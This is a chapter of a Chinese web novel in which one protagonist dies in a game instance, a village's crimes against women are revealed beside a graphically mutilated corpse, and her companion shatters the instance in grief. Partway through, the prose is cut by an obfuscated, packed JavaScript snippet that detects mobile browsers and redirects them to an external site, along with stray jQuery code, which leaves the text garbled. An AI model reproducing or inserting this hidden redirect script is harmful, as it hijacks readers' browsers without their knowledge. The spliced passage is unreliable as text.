副本内外不知过了多久才安静下来。
宋锦自杀了，这个认知让裴惜楚久久不能回神。
许是刚刚的情绪太过悲恸，再开口时他的声音还有些哑：“阿锦是不是救不活了？”
乔冬月不知道如何回答他，就又听见他轻飘飘地叹了一口气：“早说了让她好好听课，新生会最重要的一点都能忘。”
万青山的气氛达到了最低迷，震撼的有，惊骇的有，窒息感扼住了每个人的脖子。
葛大壮的尸体摆在外面。
他的嘴巴张的极大，里面被塞满了泥土，双耳被豁开一个大口子，也同样塞满了泥土。
双眼被两只长长的毛笔贯穿进去，皮肉被撕开从脖子那里一直撕到了下巴处，像披了一件衣服，血淋淋的肉被烤的有些焦了。
胸膛被贯穿，四肢也被砍断，整个身子立在桌子上，像是注视着门外的人。
葛小翠安静的看着，似乎是早就有所预料。
裴惜楚平静道：“我下达的命令是让葛大壮恢复成原本的样子，这也是完成故事线一部分。”
乔冬月很快理解到了他的意思，顺着裴惜楚的话找到任务中的漏洞：“虽然我不知道发生了什么，但葛大壮确是如此死亡的，系统下达的任务并未说是行动上恢复故事线还是口述故事线，不管哪一种，我们都算完成了一部分。”
“就像拼图一样，我们把这部分画出来了。”
裴惜楚沉吟道：“阿锦说的故事线是对的，只是不完整。”
显然沈照也是这样想的，他看着眼前葛大壮的尸体，伸手一挥，那可怖的尸体变成了一方灵牌。
“沂泽村重男轻女，有拍喜之恶俗，不少妇女被残害致死。后村中大旱，村民恶毒愚昧，便以女子为河神新娘沉入河底，求天降甘霖，然并未见效。”
“村里没有收成便砸掉玉像换做金钱，花完之后更是贩卖妇女儿童作为收入，是以村中女子越来越少。后又将外乡女子哄骗进来，关进地窖囚禁起来。”
“藏在深山中的葛小翠被选为神女，身为父亲的葛大壮为了保护女儿被害身亡，葛小翠先被玷污后被村民烧死在神女台上，最后做成人俑沉了底。”
“以河神新娘的名头入葬。”
早在进村中的那段童谣就在提醒他们，处处暗藏玄机。
宋锦实在聪慧，她早就在细节中推导出了这个副本的故事。
在脱离宋锦身体的那一刻，他想到的居然是不能再看着她了。
“葛小翠死后心怀怨恨，执念不散，杀光了村里的所有村民报仇，所以村民们并非活人。”
【恭喜宋锦完成支线任务！】
葛小翠抱着灵位紧紧盯着他。
“有趣，真会钻空子，原来这是还原的故事线啊。”
葛小翠轻轻拾起那块令牌，手指在光滑的牌面摩挲，顷刻便多了几个字‘慈父葛大壮之灵位’。
想到了什么，她又改成了“恩师陆光之灵位”。
似是执念，她又加上了这么几个小字‘学生葛小翠’。
半晌，一滴泪落在上面，葛小翠抹去自己的名字，想到他说过的一句话，重新添上了‘传道受业解惑者不悔’。
期间不过片刻，葛小翠将那排位收起来，眼中的泪水转瞬即逝，她又消散了身影，变成小时候的模样趴在树上。
“宋锦送她们去了往生，以后不会再困住她们了。”
“这么快就结束了，我以为你会找到更多有趣的事呢，比如说任务者……”
“这不都是你引导的吗？”沈照打断她，目光悠远，不知道在看向何处。
“陆光已经找到了，宋锦早就知晓了，只不过是你非要困着她进那些折磨人的幻境。”
沈照从氓之冢出来的时候法术就已经开始渐渐恢复了，他不欲与眼前人多嘴，说：“现在是我不想玩了。”
葛小翠眨了眨眼睛，好奇道：“你什么时候……”
“你的愿望已经帮你完成了。”
流云鞭刺穿她的心脏，葛小翠还未反应过来发生了什么就已经死了。
她的身体消散，化作了无数隗蝶，沈照伸手，那只最漂亮的透蓝色隗蝶在他指间了停留片刻。
而后印在他的手舟骨上。
沈照的头发变得灰白，他轻抚过宋舟舟被风吹乱的发丝的，面上的神情看不出半分癫狂。
十分理智冷静。
小村落变成了屠宰场，四周泥泞污秽和底下的冢合在了一起，红颜褪，万骨枯。
一场茫茫大雪仓促落下，掩埋了这座脏脏的村庄，副本的出口彻底关闭。
沈照沉默了好一会，雪落到他的身上积了厚厚一层，但他只是安静的盯着落雪，不知道在想些什么。
宋舟舟静谧祥和地躺在他的怀里，冷意逐渐蚕食着他的感官，不知过了多久，他才有了动作。
他护好宋舟舟，提着刀轮动了右臂，出手没有半点犹豫。
手中的长刀直接劈开了出口，似一个咧开嘴的深渊，无尽的黑暗透过水镜笼罩了万青山。
轰——
爆炸声震耳欲聋，灼热的浪潮席卷而来，那面水镜碎也得稀烂，细小尖锐的镜片直面冲击过来。
前排的任务者躲闪不及，还未感知到疼痛鲜血便已经浸染了身上的衣服。
沈照拎着染血的刀从黑暗中走来，怀中还抱着一个宋舟舟，只是那少女已经没有了活人的气息。
至此，全员到齐。
大殿里传来了尖锐的警报声，“滴——滴——滴！检测到外物入侵，造成任务者受伤！”
“检测中——”
不怪检测处如此紧张，那破碎的水镜黑洞洞的，似无间地狱，来者正如同嗜血恶神，继传说中的宙级任务者后，又出现了一个将副本破坏掉的疯子。
一时间众人都起了心思。
在经历这次副本后，他们也明白了等级或许不是评判一个人实力的唯一标准，比如精神值强悍的宋锦，又比如深不可测的沈照。
但也不一定，那位传说中的第一名就当得起这个排名，万青山对他的描述也寥寥无几，只知道那人叫做清明。
是个十分凶悍残暴，丑陋不堪的捉妖师。
饶是过了百年，再提到他是也是害怕居多。
清明不仅毁掉了所有了高级副本，并在出来后屠尽了所有和他一起做任务的任务者，简直疯魔。
气氛有些沉重，短暂的黑暗过后是浓烈的悲伤，窒息感笼罩了整个万青山，众人面面相觑，一时间谁都不敢说话。
机械音又恢复了平稳，一板一眼地不带丝毫感情：“检测结果，小世界《神女怨》已毁坏，现开启修复系统。”
“阿照，阿锦她……
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15966635|177755||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
裴惜楚的脸色很是苍白，看上去也跟刚睡醒了一样。
他走上前想要搀扶起沈照，然而刚吐了两个字胸口处就被抵上了那把刀，血色晕染出一朵含苞待放的虞美人。
或许是因为心中太过悲恸，这疼痛来的迟钝缓慢，裴惜楚对上沈照无悲无喜的眼神，他还未反应过来就又听见少年冷冷地吐出两个字。
“滚开。”
沈照的声音有些低沉暗哑，裴惜楚忽然觉得他像极了副本里的沈灵均。
乔冬月不知多少次站在了他的对立面，她想拂开那把刀。
沈照以往总是最害怕自己的师父受伤的，不知是不是意识混沌还是反应迟钝，在乔冬月碰到那把刀的时候沈照竟没有第一时间收回。
他又想，为何潜意识里，他总觉得师父每次都是站在他身前的，会牢牢把他护在身后。
师父会对他说，‘我会保护你的。’正如那个夜晚宋锦巧笑盼兮地对他说：“我保护你。”
他想起乔冬月说过很多次，她不是自己的师父。
血珠顺着刀剑蜿蜒，与他指间相触，沈照这才如梦初醒一把将刀收了回来：“你能不能救救宋锦。”
万青山并没有雪，宋舟舟死的这天一如既往的晴空万里。
副本中枯骨万里，血海茫茫，沈照执拗又偏执地不肯放手，他紧紧抱住宋舟舟的尸体要带她回来。
宋舟舟还欠他一朵虞美人。
“宋——”
似是预料到了乔冬月接下来的话，沈照的神情平静又偏执：“她没有死。”
乔冬月有些不忍心看他，换了干净的手递给他一瓶丹药，“阿照，你先照顾好自己。”
他只说了三个字。
依旧还是那三个字：“救宋锦。”
乔冬月的眼眶有些红，她探了探宋舟舟的鼻息，手指抖了抖。眼神粗粗略过她脖子上的伤口，又慌乱的探上她的手腕。
脉搏不同往日的鲜活，此刻是一片死寂。
引颈自刎，早在副本里宋舟舟就已经死了。
乔冬月强忍着，声音有些微颤：“气息全无，脉搏死寂，阿照，宋姑娘已经死了。”
“不可能。”
沈照浑身一僵，面上仍是不可置信，他的指间抵住宋舟舟的命门，有精纯的光芒源源不断地送进去，直到那光芒越来越微弱。
乔冬月先是看不下去，握住他的手，轻轻拍打着他的背，劝慰道：“阿锦她也不想看你如此。”
“宋锦她不会死！”
沈照似有些承受不住，一口血喷了出来，他眸光沉沉，说出来的话却让人十分震撼：“我种下了同心结。”
乔冬月大骇，紧张道：“是双向还是……”
“种下去的，自然是我一厢情愿。”
同心结是只针对施咒人，若双方情愿，一旦生效承受方受伤只会感知到一半的疼痛，若为禁术，施咒人需加倍承痛，亦可感知死亡。
“可，可宋姑娘没有呼吸脉搏了啊。”
“照这么说，不是活死人吗？”
“会不会是沈公子弄错了？”
沈照并不理会周围的嘈杂，抱着宋锦就要离去，直到他听见乔冬月的那一句：“阿照，你……莫不是痴了。”
他才回头说：“宋锦没有死，我要把她放进我的房间里，她会醒来的。”